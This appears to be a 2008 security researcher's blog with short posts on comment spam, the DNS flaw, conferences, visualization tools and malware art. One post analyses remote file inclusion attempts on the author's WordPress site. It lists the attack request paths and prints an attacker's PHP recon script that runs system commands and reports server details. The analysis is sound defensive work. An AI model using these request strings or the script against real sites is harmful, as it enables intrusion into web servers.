Static in the Ether

The last few weeks has seen a deluge of comment spam, which mostly is the run of the mill bot based stuff advertising ‘cheap hosting’ , porn and other such sites.  a couple tht cought my attention were simple posts of urls with the following sort of format:

• http://www.google.com/search?q=rxbcrobh
• http://www.google.com/search?q=frhlrxca
• http://www.google.com/search?q=omihinga

Searching on google with these links, surprisingly turns up nothing. I was expecting to find lists of malware infected sites similar to the SQL injection attacks seen in the last few months. Does anyone have any insight into these ? Sources appear to be geographically dispersed, and scattered across a variety of blog entries, old and new?

With the ongoing smoldering relating to the cross platform cross-vendor flaw in DNS as reported by Dan Kaminsky, Christofer Hoff has put a summary of  the situation together, but as a poem.

Its also worth noting that Halvar Flake has stepped up and stated that hes found the bug as well ( so I assume He will be sharing the stage with Dan at Defcon)

Footnote:

While trawling through logs it was interesting to nitice that this post was noted in E-Securre-it and Team Cymru’s security news links links on the 24th of July 2008

The 24th IFIP International Information Security Conference, has just released its call for papers for the 2009 edidtion to be held in Cyprus May 18-20 next year. Accepted papers will be presented at the conference and published by  Springer. Accepted papers must follow Springer’s guidelines for the IFIP Series, available at  www.springer.com/series/6102

Important dates
Submission of papers: October 20, 2008
Notification to authors:  December 20, 2008
Camera-ready copies:  January 15, 2009

While doing some reading this evening in preparation for my Postgrad Infosec course next week I came across the following pearls of wisdom from Taylor Banks

1. Admit that you are powerless over bots.
2. Believe that a power greater than yourself exists and is necessary to identify and eliminate malware, botnets, and the Windows hosts that contain them.
3. Make a decision to turn your will and your life over to ShadowServer, Malfease or another similar volunteer effort.
4. Make a searching and fearless inventory of your Windows machines.
5. Admit to another security expert that you [have/do] run Windows.
6. Demonstrate readiness to remove Windows from your PC.
7. Humbly ask other experts to remove Windows from your machine.
8. Make a list of all other machines you’ve infected.
9. Make amends to those infected, i.e. with Mac OS, Ubuntu, FreeBSD or similar.
10. Continue to inventory remaining Windows hosts, and when infected, format & re-install.
11. Seek through prayer, meditation and continuing malware research to improve your understanding of the growing malware threat as we know it.
12. Having had a spiritual awakening, carry this message to other Windows users.

What I found interesting despite the obvious humour, is that it left me wondering as to just now many of the 19 million connects form the last 3 years I was processing earlier are actually from enslaved bots or zombies…

The Proceedings of the 2007 Workshop on Visualization for Computer Security (VizSec 2007) are finally available. Springer Has the book available for order at a princely 60 Euros. Amazon has the book listed but not yet available for shipping , but one can pre-order. For those interested, Springer has a flyer and table of contents available. PDF versions of the presentations given are available form the VizSec 2007 website.

My copy should hopefully be arriving in the next few weeks, but I’m looking forward to the Work done by John R Goodall, Gregory Conti and Kwan-Liu Ma as editors. I’m just sorry I’m not going to make VizSec 2008 this year.

The two papers that I presented are (links to the PDF slides):

• High level Internet Scale traffic visualization using Hilbert curve mapping - Barry Irwin and Nick Pilkington. This details the initial work we did using the Hilbert Curve Analysis tool for IP networks
• Using InetVis to evaluate Snort and Bro scan detection on a network telescope - Barry Irwin and Jean-Pierre van Riel. InetVis is the result of three years of JP’s work to build a scalable 3-D vizualisation tool for network traffic — primarily that collected by network telescopes.

DAVIX is the upcoming live CD for data analysis and visualization, which will be released at Blackhat/DEFCON in Las Vegas this summer, with another talk at VizSec 2008. From the VizSec.org announcement:

Jan Monsch and Raffael Marty and have prepared the second beta version of DAVIX. And are now seeking for beta testers that have the time to test DAVIX and answer the questionnaire that comes along with the beta version. All completely filled out questionnaires received by me until Monday 23 June 2008 18:00 UTC will enter a raffle for one autographed copy of Raffy’s upcoming book “Applied Security Visualization”.

If you want to participate in the beta test please contact: jan.monsch ät iplosion.com

What makes me quite happy is that they have included InetVis as one of their four chosen visual analysis tools on the live CD.

I’ve been paying with this since this morning and so far so good.

Wired has a article on the Artwork done by MIT Media Lab’s grad student Alex Dragulescu. Working under contract to MessageLabs he has produced a number number of pictures, showing images of Mydoom, Ghost Keylogger and other bits of Malware.
While all quite pretty there seems to be no detail of how they were created in the original post although the MalWarez link on his homepage describes the process as follows:

..For each piece of disassembled code, API calls, memory addresses and subroutines are tracked and analyzed. Their frequency, density and grouping are mapped to the inputs of an algorithm that grows a virtual 3D entity.

The Storm Worm is probably my favorite visualizations. He also has an interesting set of images entitled SpamPlants, based on input relating to the ASCII character frequency of spam messages.

Now this sounds like a great project for an aspiring security researcher with a graphical bent.

Further to my previous post about using mod_rewrite to direct my old feed URLs to the right place, its probably time to notify people who read them in aggregators that the URI has changed, since the aggregators (particularly the web based ones hide the redirect, even tho its a 301). To the:

• 1 subscribers using Google FeedFetcher to grab /blog/index.php?flav=rss
• 6 subscribers using Google FeedFetcher to grab /blog/?flav=rss&category=Security
• 27 subscribers using Google FeedFetcher to grab /blog/?flav=rss
• 2 subscribers using Rojo to fetch /blog/?flav=rss
• 7 subscribers NewsGatorOnline to grab /blog/?flav=rss
• 1 subscriber using Feedshow to grab /blog/?flav=rss

First of all thank-you for your interest, but the links have changed. My full feed is available as RSS 2.0 or Atom 1.0, or a reduced Security only feed as RSS 2.0 ( but you miss out on the fun stuff).

This is why this post is actually tagged as security, so they get it too ;)

The other day morning stated out with a conversation with darb that went as follows:

DARB: so…wordpress hey?
BVI: I got over writing my own code
BVI: now I’m waiting for my blog to be 0wn3d
DARB: you know wordpress is the equivalent of an 8ft tall ogre that stands outside looking pretty, smashes tables when he tries to sit down, and needs 20kg of food every day…and offers little or no protection on the side entrance to your establishment?
BVI: exactly!
DARB: lolz
BVI: mine has a spiked collar and a beware of the ogre sign :-)
DARB: that only scares away legitimate users…bandits read that sign as “come on in, we left the side door open”
BVI: yeah
DARB: I love wordpress docs and plugins
DARB: “just chown your /tmp file, and then chmod 777 everything”

Well not 20 minutes later I noticed a number of Remote file inclusion attacks coming in. Nothing like the ogre having sent out an invite to all and sundry. Attacks were coming looking as follows:

• /blog/wp-content/plugins/wordtube/wordtube-button.php?wpPATH=foo
• /blog/archives/5/wp-content/plugins/wordtube/wordtube-button.php?wpPATH=foo
• /wp-content/plugins/wordtube/wordtube-button.php?wpPATH=foo
• /blog/archives/wp-content/plugins/wordtube/wordtube-button.php?wpPATH=foo
• /blog/?flav=rss/wp-content/plugins/myflash/myflash-button.php?wpPATH=foo
• /wp-content/plugins/myflash/myflash-button.php?wpPATH=foo
• /blog/wp-content/plugins/myflash/myflash-button.php?wpPATH=foo
• /blog/archives/14/wp-content/plugins/mygallery/myfunctions/mygallerybrowser.php?myPath=foo
• /blog/archives/wp-content/plugins/mygallery/myfunctions/mygallerybrowser.php?myPath=foo
• /blog/archives/wp-content/plugins/mygallery/myfunctions/mygallerybrowser.php?myPath=foo

In the above the actual path for the exploit codes been replaced with foo, but is of the form of http://site/somepath/tx.txt????, or similar.

Ive now seen this form over eighty different systems. The include file seems to vary ( see below) but the same plugins are being targeted. No real surprise as they have been known exploitable for a while.

• myflash < v1.1 01 May 2007 ISS-XForce
• wordtube < 1.43 01 May 2007 ISS X-Force
• mygallery ≤ v 1.2.1 29 April 2007 ISS-X-force FRsirt

All the requests were may using libwww-perl/5.810, so most likely come from compromised unix systems. the payload file being referred to has been removed, but I found some others, which are no doubt similar. The algorithm being used for the brute forcing is rather dumb. of the entries listed above, only two relate to viable targets for my given install. I found the request for “blog/?flav=rss/….” rather amusing. Another interesting observation is the number of requests centered around http://lair.moria.org/blog/archives/14 my post relating to Windows XP failing to hibernate. I have yet to see hits on any other particular posts.

Looking at the payload code form some of the other similar attacks, I found the following one interesting, as a more human driven recon script providing information for making a value judgment on the target site rather than an automated assault. (When will these people learn that StudlyCaps isn’t really that cool )

echo "BraT<br>";
$alb = @php_uname();
$alb2 = system(uptime);
$alb3 = system(id);
$alb4 = @getcwd();
$alb5 = getenv("SERVER_SOFTWARE");
$alb6 = phpversion();
$alb7 = $_SERVER['SERVER_NAME'];
$alb8 = gethostbyname($SERVER_ADDR);
$alb9 = get_current_user();
$os = @PHP_OS;
echo “os: $os<br>”;
echo “uname -a: $alb<br>”;
echo “uptime: $alb2<br>”;
echo “id: $alb3<br>”;
echo “pwd: $alb4<br>”;
echo “user: $alb9<br>”;
echo “phpv: $alb6<br>”;
echo “SoftWare: $alb5<br>”;
echo “ServerName: $alb7<br>”;
echo “ServerAddr: $alb8<br>”;
echo “NigeriaN HackerS TeaM<br>”;

Others are not quite so benign, providing command shells, and in some cases drive by exploits using a number of different tools to try download further payloads onto the system or upload password files, webserver configurations and other sensitive information. c99madscript.php really seems to be the flavour of the month with these, although it has been around a while.

What all these attempts that Ive seen do have in common are the trailing “???” or “?????” irrespective of the payload contents of filename. The purpose of these to me is unclear, surely its a pain to type. Is it a bug ina script, or are people trying to do something else.

Richard Bejtlich posted a few days ago about the ‘hack’ on the Metasploit webserver as reported by SunBelt. What is interesting is that the actual website wasnt compromised, but rather another system on the same VLAN at the hosting provider which then performed some ARP spoofing magic against the gateway, in effect redirecting traffic to itself.

Richard mentions some other recent hacks which can be attributed to the same technique. If you can control layer 2 why play around at layer 7? This is something that I probably need to emphasize in my upcoming Infosec course next semester.